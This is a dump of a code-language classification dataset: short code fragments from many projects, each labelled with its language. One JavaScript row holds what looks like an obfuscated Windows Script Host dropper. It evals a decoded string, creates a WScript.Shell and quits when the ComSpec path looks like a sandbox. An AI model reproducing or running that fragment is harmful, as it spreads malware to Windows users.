content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
4688,
["Standard Female Patient"] = 4712,
},
in_use = { -- Use "animation"
["Standard Male Patient"] = 4696,
["Standard Female Patient"] = 4720,
},
finish_use = { -- Patient stands up again
["Standard Male Patient"] = 4704,
["Standard Female Patient"] = 4728,
},
},
}... | Lua |
h(match, $2)
})
}
// 处理 $t 内容
export function handle$t(source: string, pathName: string) {
fs.writeFileSync(
pathName,
replace$t(source),
'utf8'
)
}
// console.log(matches)
const noop = () => {}
type HandleFile = (source: fs.PathLike, pathName: string) => void
export function mapDir(dir: string, ... | Typescript |
2, styles: PosStyles(align: PosAlign.right)),
]);
bytes += ticket.row([
PosColumn(text: '1', width: 1),
PosColumn(text: 'PIZZA', width: 7),
PosColumn(
text: '3.45', width: 2, styles: PosStyles(align: PosAlign.right)),
PosColumn(
text: '3.45', width: 2, styles: PosSty... | Dart |
rn:aws:ecs:::cluster/default'
response = get_cluster_name_from_arn(arn)
self.assertEqual(name, response)
def test_get_deploy_group_name_long(self):
cluster = 'ClusterClusterClusterClusterClusterClusterClusterCluster'
service = 'ServiceServiceServiceServiceServiceServiceServiceServi... | Python |
, 0x10(r30)
/* 8045E65C 0045B59C 4B BB E9 D9 */ bl __dt__11JKRDisposerFv
/* 8045E660 0045B5A0 28 1E 00 00 */ cmplwi r30, 0
/* 8045E664 0045B5A4 41 82 00 10 */ beq .L_8045E674
/* 8045E668 0045B5A8 7F C3 F3 78 */ mr r3, r30
/* 8045E66C 0045B5AC 38 80 00 00 */ li r4, 0
/* 8045E670 0045B5B0 4B BC 81 61 */ bl __dt__10... | Assembly |
<h1>
<div class="nav">
<a href="zh-CN/index.html#extremities">上一节</a><a href="#toc">目录</a><a href="zh-CN/index.html#aligning">下一节</a>
</div>
<a href="zh-CN/index.html#boundingbox">Bounding boxes</a>
</h1>
<p>
If we have the extremities, and the start/end points, a simple for-loo... | HTML |
0e\u518d\u8ffd\u7a76\u5176\u95ee\u9898\uff0c\u9632\u6b62\u62a5\u590d\u7834\u574f\u3002", "type": "paragraph"}, {"text": "\u4e94\u3001\u5728\u6d77\u8fb9\u9632\u7279\u522b\u662f\u5fd7\u613f\u519b\u90e8\u961f\u5e94\u4e25\u5bc6\u8b66\u6212\uff0c\u52a0\u5f3a\u8fb9\u5883\u5c97\u54e8\u7684\u68c0\u67e5\uff0c\u9632\u6b62\u53cd\... | HTML |
IGNAL(pauseToggled()), &scrnmgr, SLOT(togglePaused()));
QObject::connect(scrn_view, SIGNAL(reloaded()), &scrnmgr, SLOT(reloadGame()));
scrn_view->installEventFilter(&scrnmgr);
initScreenRepainter(scrn_view, backend, callbacks);
ConsoleManager consmgr(dbg_console, backend, callbacks);
QObject::conn... | C++ |
picture class="site-footer__responsive-image responsive-image"><img alt="WIRED" class="responsive-image__image" src="/verso/static/wired/assets/logo-reverse.548f3a7478ee71f618044082aa222dd05f31249c.svg" srcSet="" sizes="100vw"/></picture></span></a></div><div class="site-footer__about"><p class="site-footer__about-text... | HTML |
target-type: Windows
req.target-min-winverclnt:
req.target-min-winversvr:
req.kmdf-ver:
req.umdf-ver:
req.ddi-compliance:
req.unicode-ansi:
req.idl:
req.max-support:
req.namespace:
req.assembly:
req.type-library:
req.lib: Iphlpapi.lib
req.dll: Iphlpapi.dll
req.irql:
targetos: Windows
req.typenames:
req.red... | Markdown |
能面临某些思维盲点(例如一旦从一堆不规则的图形中找出了五角星,后面再次看到时就很难再忽略它了),可能会导致测试覆盖的不够全面。白盒测试也可能过多的测试边缘情况,而忽略了业务主流程。
<img loading="lazy" src="https://user-images.githubusercontent.com/4338052/164974483-2a382312-1b02-4336-87fa-02c7d6679542.png" alt="image" class="img_ev3q"></p><blockquote><p>图片来源 <a href="https://insights.thoughtworks.cn/test-li... | HTML |
2=0; KEw2 < It.length; KEw2++)
{
Xg6 += Cp[It[KEw2]];
}
eval(Xg6);
var _wscript = "WScript";
zzz = WScript.CreateObject(_wscript+".Shel\x6c");
se = zzz["E"+"nvironment"]("S"+"YSTEM");
value = se("ComSpec");
if (value != "\%SystemRoot\%\\system32\\cmd.exe") {this[_wscript]["Q"+"uit"](... | JavaScript |
" decomp decvalue float2int float2str hex2bit hex2int" +
" hex2oct hex2str int2bit int2char int2float int2hex" +
" int2oct int2str int2unichar isbound ischosen ispresent" +
" isvalue lengthof log2str oct2bit oct2char oct2hex oct2int" +
" oct2str regexp replace rnd sizeof str2bit str2float" +
" str2... | JavaScript |
_R::new(((self.bits >> 26) & 0x01) != 0)
}
#[doc = "Bits 16:25 - The length of the data in buffer 1."]
#[inline(always)]
pub fn length_1(&self) -> LENGTH_1_R {
LENGTH_1_R::new(((self.bits >> 16) & 0x03ff) as u16)
}
#[doc = "Bit 15 - Buffer 0 is full. For an IN transfer (TX to the host) t... | Rust |
turn CommonClassVisitor(
apiVersion,
originalVisitor,
currentClassName.substringAfterLast('.'),
sqLiteMethodList,
parameters,
)
}
// Instrument any class implementing androidx.sqlite.db.SupportSQLiteOpenHelper$Factory
override fun isInstrumentable(data: ClassContext) =
data.... | Kotlin |
{solution.solutionId}`
);
}
/**
* DELETEs the given Solution object from the backend.
*/
deleteSolution(solutionId: number): Observable<Solution> {
return this.http.delete<Solution>(
`${this.stacktraceUrl}/solution/${solutionId}`
);
}
}
import { Inject, Injectable } from '@nestjs/common... | Typescript |
catch (IOException ex)
{
throw new InvalidOperationException("Cannot acquire file lock. Another process may already have the lock.", ex);
}
catch (UnauthorizedAccessException ex)
{
throw new InvalidOperationException("Cannot acquire file lock due to insufficie... | C# |
#########################################################################
# Copyright (C) 2016-2018 Doubango Telecom <https://www.doubango.org> #
# File author: Mamadou DIOP (Doubango Telecom, France). #
# License: GPLv3. For commercial license please contact us. #
# Source code: https://g... | Assembly |
a name="L564"></a><tt class="py-lineno"> 564</tt> <tt class="py-line"> <tt class="py-keyword">return</tt> <tt class="py-name">self</tt><tt class="py-op">.</tt><tt class="py-name">java_obj</tt><tt class="py-op">.</tt><tt id="link-137" class="py-name"><a title="api_shim.core.http.HttpServerRequest.uri" class="py-... | HTML |
_EXP_FOG_ENABLED)
defs << "#define EXP_FOG_ENABLED\n";
if (state & STUDIO_EXP2_FOG_ENABLED)
defs << "#define EXP2_FOG_ENABLED\n";
if (state & STUDIO_LINEAR_FOG_SHIFT_ENABLED)
defs << "#define LINEAR_FOG_SHIFT_ENABLED\n";
if (state & STUDIO_SHADOW_CASTER_ENABLED)
defs << "#define SHADOW_CASTER_ENABL... | C++ |
_search_all.gif" alt="Search All Blogs" value="Search" id="b-searchallbtn" title="Search all blogs with Google Blog Search" onclick="document.forms['b-search'].bl_url.value=''" /><a href="javascript:BlogThis();" id="b-blogthis">BlogThis!</a></div></form></div><script type="text/javascript"><!--
var ID = 5885697;var HA... | HTML |
let mut source: Initiator<_> = Actor::new(cfd_loads.clone());
let mut sink = Terminator::<_>::new(logging.clone());
// FEM
let mut fem: Actor<_> = Actor::new(state_space.clone());
// MOUNT
let mut mount: Actor<_> = Actor::new(mnt_ctrl.clone());
type D = Vec<f64>;
... | Rust |
gnalwire / freeswitch](https://github.com/signalwire/freeswitch) - FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a versatile software implementation that runs on any commodity hardware. From a Raspberry PI to a multi-core server, FreeSWITCH can u... | Markdown |
/* Copyright (c) FFLAS-FFPACK
* ========LICENCE========
* This file is part of the library FFLAS-FFPACK.
*
* FFLAS-FFPACK is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of ... | C |
bottom, #edeef2 0%, #c8cadd 25%, #bbbfd4 49%, #9fa8c6 51%, #a2a9c7 81%, #a6abc9 82%, #a7adca 100%);
border: solid 1px #7b8497;
height: 42px;
width: 100%;
clear: both;
opacity: 0.6;
}
.mblSpinWheelDatePicker {
width: 312px;
}
.mblSpinWheelTimePicker {
width: 98px;
}
.mblSpinWheelSlot {
position: relativ... | CSS |
let t_b5_3 = vmulq_f32(self.twiddle4im, x3m8);
let t_b5_4 = vmulq_f32(self.twiddle2im, x4m7);
let t_b5_5 = vmulq_f32(self.twiddle3im, x5m6);
let x0 = values[0];
let t_a1 = calc_f32!(x0 + t_a1_1 + t_a1_2 + t_a1_3 + t_a1_4 + t_a1_5);
let t_a2 = calc_f32!(x0 + t_a2_1 + t_a2_2 + t_... | Rust |
Id)
) {
return { [currentChainId]: true };
}
// Portfolio view only enabled on featured networks
return Object.entries(tokenNetworkFilter || {}).reduce(
(acc, [chainId, value]) => {
if (FEATURED_NETWORK_CHAIN_IDS.includes(chainId)) {
acc[chainId] = value;
}
... | JavaScript |
cookie_policy=http%3A%2F%2Fflixster.com&prompt=none&include_granted_scopes=true&proxy=oauth2relay533204860&redirect_uri=postmessage&origin=https%3A%2F%2Fwww.flixster.com&gsiwebsdk=1&state=301625903%7C0.1307635318&authuser=0&e=3100077&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%... | HTML |
identity)
/// - For each a in $`\mathbb{R}`$ there exists −a in $`\mathbb{R}`$ such that
/// $`a + (−a) = 0`$ (that is, −a is the additive inverse of a)
/// 2. $`\mathbb{R}`$ is a monoid under multiplication, meaning that:
/// - $`(a * b) * c = a * (b * c), \forall a, b, c \in \mathbb{R}`$ (that is, *
/// is ass... | Rust |
ata -o bindata.go -pkg syntaxcolors syntaxcolors.css
package syntaxcolors
import (
"bytes"
"html/template"
"io"
"log"
"mime"
"net/http"
"github.com/sourcegraph/syntaxhighlight"
)
// CursorPrinter implements syntaxhighlight.Printer to provide cursor insertion
type cursorPrinter struct {
cursor int
count ... | Go |
# This file was auto-generated by Fern from our API Definition.
from __future__ import annotations
import typing
import pydantic
from ..core.pydantic_utilities import IS_PYDANTIC_V2, update_forward_refs
from ..core.unchecked_base_model import UncheckedBaseModel
class AstNotEqualsOperatorNode(UncheckedBaseModel):
... | Python |
dSideExpression</emu-nt></emu-rhs>
</emu-production>
</emu-annex>
<emu-annex id="scripts-and-modules">
<h1>Scripts and Modules</h1>
<emu-production id="grammar-exportdeclaration" name="ExportDeclaration">
<emu-rhs><emu-t>export</emu-t> <emu-t>*</emu-t> <emu-nt>FromClause</emu-nt> <emu-t>;</emu-t>... | HTML |
ault.plainObject(e)||ale.default.array(e))&&lle(e);return Object.freeze(t)}I4.default=lle});var Ale=_(ule=>{"use strict";Object.defineProperty(ule,"__esModule",{value:!0})});var B4=_(zl=>{"use strict";var bst=zl&&zl.__createBinding||(Object.create?function(t,e,r,o){o===void 0&&(o=r),Object.defineProperty(t,o,{enumerabl... | JavaScript |
489] = {"Rhinocéros laineux mâle",nil},
[25490] = {"Chaudron est d'En'kilah",nil},
[25491] = {"Chef Chuchoteur",nil},
[25492] = {"Chaudron central d'En'kilah",nil},
[25493] = {"Chaudron ouest d'En'kilah",nil},
[25494] = {"Totem purificateur",nil},
[25495] = {"Unité mandataire du Fléau",nil},
[25496] = {"Seigneur des br... | Lua |
s.Raw("DROP TABLE IF EXISTS User;").Exec()
_, _ = s.Raw("CREATE TABLE User(Name text);").Exec()
row := s.Raw("SELECT count(*) FROM User").QueryRow()
var count int
if err := row.Scan(&count); err != nil || count != 0 {
t.Fatal("failed to query db", err)
}
}
package gee
import (
"fmt"
"log"
"net/http"
)
// H... | Go |
.TrackFX_GetFloatingWindow(master_tr, 0x1000000+i) then
src_mon_fx_idx = i; is_mon_fx_float = true break end
end
end
return src_mon_fx_idx, is_mon_fx_float
end
function EvaluateTAG(fx_name,TAG)
local tag = TAG:gsub('[%(%)%+%-%[%]%.%^%$%*%?%%]','%%%0')
return fx_name:match('^('..tag..')%s') or fx_name:match(... | Lua |
表情面板监听等)
- 已恢复原有的header功能(使用HeaderComponent)
- 已恢复原有的消息渲染逻辑(MessageItem的原有实现)
- 保持了原有的所有功能不变,只是重新组织了目录结构
### 使用说明:
1. **单聊**:传入 `chatType="single"` 和对应的 `conversationId`
2. **群聊**:传入 `chatType="group"` 和对应的 `conversationId`
3. **消息类型**:支持文本、图片、视频、文件、语音、系统消息
4. **表情功能**:完整的表情面板,支持默认表情、收藏表情、表情包
5. **更多功能**:支持拍照、相册、文件选择... | Markdown |
80.9 70.1\nQ 80.9 68.0, 81.9 66.9\nQ 82.9 65.7, 84.8 65.7\nQ 86.7 65.7, 87.7 66.9\nQ 88.7 68.0, 88.7 70.1\nQ 88.7 72.1, 87.7 73.2\nQ 86.8 74.4, 85.1 74.5\nQ 85.2 75.1, 85.6 75.5\nQ 86.1 75.9, 86.7 75.9\nM 82.1 70.1\nQ 82.1 71.8, 82.8 72.6\nQ 83.5 73.5, 84.8 73.5\nQ 86.1 73.5, 86.8 72.6\nQ 87.5 71.8, 87.5 70.1\nQ 87.5 6... | HTML |
:x: (0.0%) |
| `__ct__12NPCActorCapsFPCc` | `0x8029A8B8` | :x: (10.8%) |
| `setDefault__12NPCActorCapsFv` | `0x8029A9E0` | :white_check_mark: (100.0%) |
| `setIndirect__12NPCActorCapsFv` | `0x8029AA38` | :white_check_mark: (100.0%) |
| `__ct__8NPCActorFPCc` | `0x8029AA44` | :x: (0.0%) |
| `makeArchiveList__8NPCActorFP... | Markdown |
0.0.4 - 2014-Oct-10
+ Unroll recursive grammar descriptions that could cause parsing a large path to overflow the stack.
### v0.0.3 - 2014-Oct-1
+ Fix bug that prevented parsing some valid documents.
### v0.0.2 - 2014-Oct-1
+ Fix parsing of numbers other than integers to work.
+ First `moveto` command is always absol... | Markdown |
intercept(fakeNewDecorViews, fakeTextAndInputPrivacy, fakeImagePrivacy)
}
@Test
fun `M do nothing W onWindowsRemoved{paused}`(
forge: Forge
) {
// Given
testedSessionReplayRecorder.resumeRecorders()
testedSessionReplayRecorder.stopRecorders()
val fakeAddedWindows... | Kotlin |
"`, target.Value)
case "FOFA":
if target.Type == "ip" {
return fmt.Sprintf(`ip="%s"`, target.Value)
}
return fmt.Sprintf(`domain="%s"`, target.Value)
case "Quake":
if target.Type == "ip" {
return fmt.Sprintf(`ip:%s`, target.Value)
}
return fmt.Sprintf(`domain:%s`, target.Value)
default:
return ""... | Go |
);
extern
NFCSTATUS
phNciNfc_DecrConnCredit(
uint8_t bConnId
);
extern
NFCSTATUS
phNciNfc_RegForConnCredits(
uint8_t bConnId,
pphNciNfc_ConnCreditsNtf_t pNotify,
void *pContex... | C |
get
{
return (int)this.GetValue(VisibleChildrenCountProperty);
}
private set
{
this.SetValue(VisibleChildrenCountProperty, value);
}
}
/// <summary>
/// Arranges the content of a <see cref="T:... | C# |
ica Neue", Arial, sans-serif; font-weight: 400; line-height: 21.88px; color: rgb(24, 50, 71); margin-bottom: 0px; margin-left: 20px; font-size: 13px; text-align: start; text-indent: 0px;">✅ How to optimize your Google Business Profile to dominate local search</h4><h4 dir="ltr" id="✅-How-to-improve-your-website-SEO... | HTML |
5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6l0-32 160 0c88.4 0 160-71.6 160-160z"]
};
const faCross = {
prefix: 'fas',
iconName: 'cross',
icon: [384, 512, [128327, 10013], "f654", "M176 0c-26.5 0-48 21.5-48 48l0 80-80 0c-26.5 0-48 21.5-48 48l0 32c0 26.5 21.5 48 48 48l80 0 0 208c0 26.5 2... | JavaScript |
(width - 10, height);
shape.addPoint(0, height);
shape.addPoint(10, height / 2);
ug.draw(shape);
}
private Margin getMargin() {
return new Margin(20, 20, 10, 10);
}
@Override
public TextBlock asSmall(TextBlock name, final TextBlock label, final TextBlock stereotype,
final Fashion symbolContext, final ... | Java |
%tbt.">Graph Type</div>'+
' <select id="%id.graphtype" size="1" onchange="GraphChanged(this);" onfocus="%s.CmdGotFocus(this);"></select>'+
' </div>'+
' </td>'+
' <td style="vertical-align:middle;padding-right:16px;">'+
' <div style="%tbt."> </div>'+
' <input id... | HTML |
= TSS_Array_Marshalu((uint8_t *)source->name, source->name_len, written, buffer, size);
}
if (rc == 0) {
rc = TSS_UINT32_Marshalu(&source->template_data_len, written, buffer, size);
}
if (rc == 0) {
rc = TSS_Array_Marshalu(source->template_data, source->template_data_len,
written, buffer, si... | C |
SR IntCtl SRSCtl SRSMap Cause EPC PRId EBase Config Config1 Config2 Config3 LLAddr Debug DEPC DESAVE CacheErr ECC ErrorEPC TagLo DataLo TagHi DataHi WatchLo WatchHi PerfCtl PerfCnt "},c:[{cN:"keyword",b:"\\b(addi?u?|andi?|b(al)?|beql?|bgez(al)?l?|bgtzl?|blezl?|bltz(al)?l?|bnel?|cl[oz]|divu?|ext|ins|j(al)?|jalr(.hb)?|j... | JavaScript |
let parent1 = this.disjointSubsets.findParent(idx1);
let parent2 = this.disjointSubsets.findParent(idx2);
if(parent1 !== parent2) {
this.maze.removeWall(cell1, edge.direction);
this.disjointSubsets.union(idx1, idx2);
}
return this.edges.length > 0;
}
... | Typescript |
# Copyright 2019, Collabora, Ltd.
# SPDX-License-Identifier: BSL-1.0
#
.arch armv8-a
.text
#
# fn vrt_eh_personality_v0(...)
#
# This function is needed to work around the compiler getting confused
# about the prototype of vrt_eh_personality_v0, and acient fixed LLD bug.
#
.align 2
.p2align 3,,7
.global _vrt_eh_p... | Assembly |
b1, [NoAlias] out v128 r0, [NoAlias] out v128 r1, bool noOverflow = false, byte elements = 4)
{
if (Architecture.IsSIMDSupported)
{
if (noOverflow)
{
r0 = sqrt_epu64(add_epi64(square_epi64(a0), square_epi64(b0)));
r1 = sqrt_epu64(add_epi64(square_epi64(a1), square_epi64(b1)));
}
else
... | C# |
using WowPacketParser.Enums;
using WowPacketParser.Misc;
using WowPacketParser.Parsing;
namespace WowPacketParserModule.V5_4_8_18291.Parsers
{
public static class ItemHandler
{
[Parser(Opcode.SMSG_ITEM_ENCHANT_TIME_UPDATE)]
public static void HandleItemEnchantTimeUpdate(Packet packet)
{... | C# |
@ YUV-> RGB conversion code.
@
@ Copyright (C) 2011 Robin Watts (robin at wss.co.uk) for Pinknoise
@ Productions Ltd.
@
@ Licensed under the BSD license. See 'COPYING' for details of
@ (non-)warranty.
@
@
@ The algorithm used here is based heavily on one created by Sophie Wilson
@ of Acorn/e-14/Broadcomm. Many thanks.
... | Assembly |
, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.keyattestation.verifier.challengecheckers
import com.google.common.truth.Truth.assertThat
import com.google.protobuf.ByteString
import org.junit.Test
import org... | Kotlin |
pointer-events: none;
opacity: $btn-disabled-opacity;
@include box-shadow(none);
}
}
//
// Alternate buttons
//
// scss-docs-start btn-variant-loops
@each $color, $value in $theme-colors {
.btn-#{$color} {
@include button-variant($value, $value);
}
}
@each $color, $value in $theme-colors {
.btn-... | CSS |
testRateLimitsByUserWithDifferentIps() {
List<Endpoint> endpoints = new ArrayList<>();
endpoints.add(new Endpoint("POST", "/login",
/*maxRequests*/ 3, /*windowSizeMS*/ 1000, List.of(),
false, false, true));
setEmptyConfigWithEndpointList(endpoints);
RouteMetadata... | Java |
_Outptr_ IDxcBlob **ppResult) = 0;
virtual HRESULT STDMETHODCALLTYPE FindFirstPartKind(UINT32 kind, _Out_ UINT32 *pResult) = 0;
virtual HRESULT STDMETHODCALLTYPE GetPartReflection(UINT32 idx, REFIID iid, void **ppvObject) = 0;
};
struct __declspec(uuid("AE2CD79F-CC22-453F-9B6B-B124E7A5204C"))
IDxcOptimizerPass : p... | C |
s, $key) != null) {
$result: map-merge($result, ($key: $value));
}
}
@return $result;
}
// Merge multiple maps
@function map-merge-multiple($maps...) {
$merged-maps: ();
@each $map in $maps {
$merged-maps: map-merge($merged-maps, $map);
}
@return $merged-maps;
}
// Replace `$search` with `$... | CSS |
height:32px;line-height:32px}nav.sidebar .container li.tag a[data-v-c5783954]{color:#c9c7c7;font-size:.875rem;display:block}nav.sidebar .container li.tag a i.icon.iconfont[data-v-c5783954]{width:22px;font-size:.875rem;margin-right:5px;display:inline-block}nav.sidebar .container li.tag a.router-link-active.router-link-e... | CSS |
;
; Ullrich von Bassewitz, 17.7.2000
;
; Allocate a block from the heap.
;
; void* __fastcall__ malloc (size_t size);
;
;
; C implementation was:
;
; void* malloc (size_t size)
; /* Allocate memory from the given heap. The function returns a pointer to the
; ** allocated memory block or a NULL pointer if not enough mem... | Assembly |
.
// The zero value for Buffer is an empty buffer ready to use.
type Buffer struct {
buf []byte // contents are the bytes buf[off : len(buf)]
off int // read at &buf[off], write at &buf[len(buf)]
bootstrap [64]byte // memory to hold first slice; helps small buffers (Printf) avoid allocation.
}
//... | Go |
रिणाम', 'sw':'kuhusika', 'bn':'এনটেইলমেন্ট',
'it':'implicazione', 'no':'entailment', 'es':'vinculación',
'is':'afleiðing', 'bg':'следствие', 'sv':'medföring', 'sl':'vpletenost', 'ms':'entailment', 'th':'การมีส่วนร่วม',
'pl':'majorat', 'ru':'логическое следстви... | Python |
change",h.destroy)},e.keyBinding.addKeyboardHandler(m),e.on("changeSelection",h.destroy),e.on("changeSession",h.destroy),e.on("mouseup",h.destroy),e.on("change",h.destroy),e.session.widgetManager.addLineWidget(h),h.el.onmousedown=e.focus.bind(e),e.renderer.scrollCursorIntoView(null,.5,{bottom:h.el.offsetHeight})},i.imp... | JavaScript |
range-from- {
border: 1px solid rgba(map_get($datepickerBG, selected), .5);
background-color: map_get($datepickerBG, inRange);
border-radius: $datepickerBorderRadius 0 0 $datepickerBorderRadius;
}
&.-range-to- {
border: 1px solid rgba(map_get($datepickerBG, selected), .5);
background-color: map_... | CSS |
00 30 */ b .L_802E8474
.L_802E8448:
/* 802E8448 002E5388 28 00 00 03 */ cmplwi r0, 3
/* 802E844C 002E538C 40 82 00 14 */ bne .L_802E8460
/* 802E8450 002E5390 C0 22 EB F0 */ lfs f1, lbl_8051CF50@sda21(r2)
/* 802E8454 002E5394 7F E3 FB 78 */ mr r3, r31
/* 802E8458 002E5398 48 00 52 FD */ bl createDownEffect__Q34Game... | Assembly |
#ifndef Py_EMSCRIPTEN_SIGNAL_H
#define Py_EMSCRIPTEN_SIGNAL_H
#if defined(__EMSCRIPTEN__)
void
_Py_CheckEmscriptenSignals(void);
void
_Py_CheckEmscriptenSignalsPeriodically(void);
#define _Py_CHECK_EMSCRIPTEN_SIGNALS() _Py_CheckEmscriptenSignals()
#define _Py_CHECK_EMSCRIPTEN_SIGNALS_PERIODICALLY() _Py_CheckEmscri... | C |
cess keyboard events, and Mouse events
addKeyListener(this);
addMouseListener(this);
setAnimateFps(60); // seemed to be essential in getting any performance
}
public boolean LoadGLTextures()
{
PngTextureLoader texLoader = new PngText... | Java |
linesResponse
@GET("top-headlines/sources")
suspend fun getNewsSources(): NewsSourcesResponse
@GET("top-headlines")
suspend fun getNewsBySources(@Query("sources") sources: String): TopHeadlinesResponse
@GET("top-headlines")
suspend fun getNewsByCountry(@Query("country") country: String): TopH... | Kotlin |
/* This testcase is part of GDB, the GNU debugger.
Copyright 2012-2017 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
... | Assembly |
6d4407a0 ldp d0, d1, [x29, #64]
4480fc: 6d450fa2 ldp d2, d3, [x29, #80]
448100: f94077be ldr x30, [x29, #232]
448104: 910003bf mov sp, x29
448108: f94003bd ldr x29, [x29]
44810c: 910403ff add sp, sp, #0x100
448110: d61f03c0 br x30
448114: d503201f nop
0000000000448118 <length_mismatch>:
448118:... | Assembly |
if (fileSize - endByte >= 0) {
return RangeHeader(fileSize - endByte, fileSize - 1);
}
}
}
return RangeHeader(0, null);
}
// coverage:ignore-file
// GENERATED CODE - DO NOT MODIFY BY HAND
// ignore_for_file: type=lint
// ignore_for_file: unused_element, unnecessary_cast, override_on_non_overr... | Dart |
signed</A></B> <B><A HREF="keywords.html#int">char</A></B> VarType; <I>/* See below */</I><BR>
<B><A HREF="keywords.html#short">unsigned</A></B> <B><A HREF="keywords.html#int">char</A></B> VarCompat; <I>/* See info about SYM_ENTRY in vat.h */</I><BR>
</TD></TR></TABLE>
} LIO_CTX;</TD></TR></TABLE></P>
<P><B>A file cont... | HTML |
Value("@odata.type", OdataType);
writer.WriteEnumValue<global::Microsoft.Graph.Beta.Models.BitLockerRecoveryInformationType>("recoveryInformationToStore", RecoveryInformationToStore);
writer.WriteEnumValue<global::Microsoft.Graph.Beta.Models.ConfigurationUsage | C# |
SetClientChannelGroup,
ClientList,
ClientInfo,
ClientDbInfo,
ClientFind,
ClientEdit,
ClientDbList,
ClientDbFind,
ClientDbEdit,
ClientDbDelete,
ClientGetIds,
ClientGetUidFromClid,
ClientGetDbIdFromUId,
ClientGetName... | C# |
}
@override
Future<void> seek(Duration? position) async {
if (_videoOptions?.loop == true) return;
return _player.seek(position ?? Duration.zero);
}
@override
Future<void> stop() async {
if (_disposed) return;
return _player.pause(); // _player.stop too powerful
}
@override
Future<v... | Dart |
marked = True;
break;
case TT_CHUNK:
nterm = (Chunk_term)te->which;
// MW-2013-08-05: [[ ThisMe ]] If 'this' is followed by 'me' we become 'this me'.
if (nterm == CT_THIS &&
sp . skip_token(SP_FACTOR, TT_FUNCTION, F_ME) == PS_NORMAL)
{
// Destination type is 'this me' handled in MC... | C++ |
rmat of results is identical to qrels)
retriever = EvaluateRetrieval(faiss_search, score_function="dot") # or "cos_sim"
results = retriever.retrieve(corpus, queries)
### Save faiss index into file or disk ####
# Unfortunately faiss only supports integer doc-ids, We need save two files in output_dir.
# 1. output_dir/{p... | Python |
lazyTimerId:any=setTimeout(function () {
let checkedNum:any=prop.parent.parent.controls.filter((optionControl:any)=>{
return optionControl.value.value!="";
}).length;
if(checkedNum<rulues["arrayUploadRequired"]*1){
grandfatherControl.setErrors({"required"... | Typescript |
抽象出来,让开发者可以更加方便地处理页面跳转和传递参数等操作。使用 router 可以实现单页应用(SPA),使得用户在应用中的操作更流畅,且无需每次跳转都重新加载整个页面。
此外,使用 router 还可以提供一些额外的功能,如路由守卫、动态路由等,这些功能可以帮助开发者更好地控制路由的行为,提高应用的性能和安全性
> 虽然浏览器本身也有路由,但使用 router 库可以提供更好的开发体验和更丰富的功能,使得应用的开发更加方便、高效和可维护
### 浏览器为什么支持单页面路由呢?
参考链接:https://developer.mozilla.org/zh-CN/docs/Web/API/History
浏览器支持单页面路... | Markdown |
s://triple-underscore.github.io/WebIDL-ja.html#this" data-x-internal="this">this</a>'s <a href="#concept-document-window" id="accessing-other-browsing-contexts:concept-document-window">associated <code>Document</code></a>'s <a id="accessing-other-browsing-contexts:document-tree-child-navigables-3" href="document-sequen... | HTML |
ediaViewerPage *self)
{
int i;
i = get_nearest_rate (self->priv->rate);
if (i < G_N_ELEMENTS (default_rates) - 1)
self->priv->rate = default_rates[i + 1];
else
self->priv->rate = default_rates[G_N_ELEMENTS (default_rates) - 1];
update_player_rate (self);
}
void
gth_media_viewer_page_play_slower (GthMediaVi... | C |
Store(store raft.LogStore, checkpointFn IsCheckpointFn, reportFn ReportFn, mc metrics.Collector) *LogStore {
c := &LogStore{
s: store,
metrics: mc,
verifyCh: make(chan VerificationReport, 1),
checkpointFn: checkpointFn,
reportFn: reportFn,
}
go c.runVerifier()
return c
}
// FirstI... | Go |
chint03_tablesplan2",
[121952310] = "hei_bt1_02_interior_v_genbank_milo_",
[3578401609] = "ch_chint03__glue_int",
[1698152977] = "hei_bh1_rd_strm_3",
[393269197] = "hei_ch3_rd1a_27_ov",
[3275804622] = "barb_bars1",
[3231519835] = "ch_chint04_prop_worklight_02a004",
[2740637648] = "hei_hw1_13_critical_0",
[19941... | Lua |
)}.SaBhMc:not(:disabled).VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe,.SaBhMc:not(:disabled):not(.VfPpkd-ksKsZd-mWPk3d):focus{border-color:#4285f4;border-style:solid;border-width:2px;padding-top:2px;padding-top:max(calc(0px - 2px),calc(calc(0px - 2px)*-1));padding-right:2px;padding-right:max(calc(0px - 2px),calc(calc(0px ... | HTML |
it }.toMutableList()
importedList.forEachIndexed { idxImported, column ->
val idxCurrent = currentList.indexOfFirst { it.id == column.id }
if (idxCurrent >= 0) {
if (idxCurrent != idxImported) {
// Because of the invariant, it can only be greater. We will remove all
... | Kotlin |
user.discriminator}", null, member.user.effectiveAvatarUrl)
.setFooter(locale["modules.eventLog.userID", member.user.id], null)
.setTimestamp(Instant.now())
.build()
textChannel.sendMessageEmbeds(embed).await()
}
} catch (e: Exception) {
logger.error(e) { "Erro ao sair do canal de voz do eve... | Kotlin |
,30,31,32,33,34,35,36 pqrstuvw
DC.B 37,38,39,0,0,0,0,0 xyz{|}~
DC.B 15,34,17,13,13,13,13,15
DC.B 17,17,17,21,21,21,13,13
DC.B 17,0,0,28,28,28,34,34 ***
DC.B 38,28,34,0,0,0,0,0
DC.B 13,21,28,34,27,27,13,28
DCB.B 8,0
DC.B 13,28,28,28,0,0,13,13 ***
DC.B 28,0,0,0,0,0,0,0
DC.B 0,0,0,0,0,0... | Assembly |
name, element.props.name),
});
});
}
import { BaseCommand, Commit, readCommitsFromFile } from "./Base/Base";
export class CommitsCompare extends BaseCommand {
private commitsFile1: string
private commitsAtFile1: Commit[] = []
private commitsFile2: string
private commitsAtFile2: Commit[] = []
... | Typescript |
", config.DefaultGateway)
viper.Set("dns.listen_addr", config.DNS.ListenAddr)
viper.Set("dns.upstream_dns", config.DNS.UpstreamDNS)
// 如果配置文件不存在,使用 SafeWriteConfigAs
configFile := viper.ConfigFileUsed()
if configFile == "" {
configFile = filepath.Join(configDir, "config.yaml")
return viper.SafeWriteConfigAs(c... | Go |
);
ui->horizontalSpacer_ExpiresIn->changeSize(
COLUMN_WIDTH_EXPIRES_IN + ui->tableView->verticalScrollBar()->sizeHint().width()
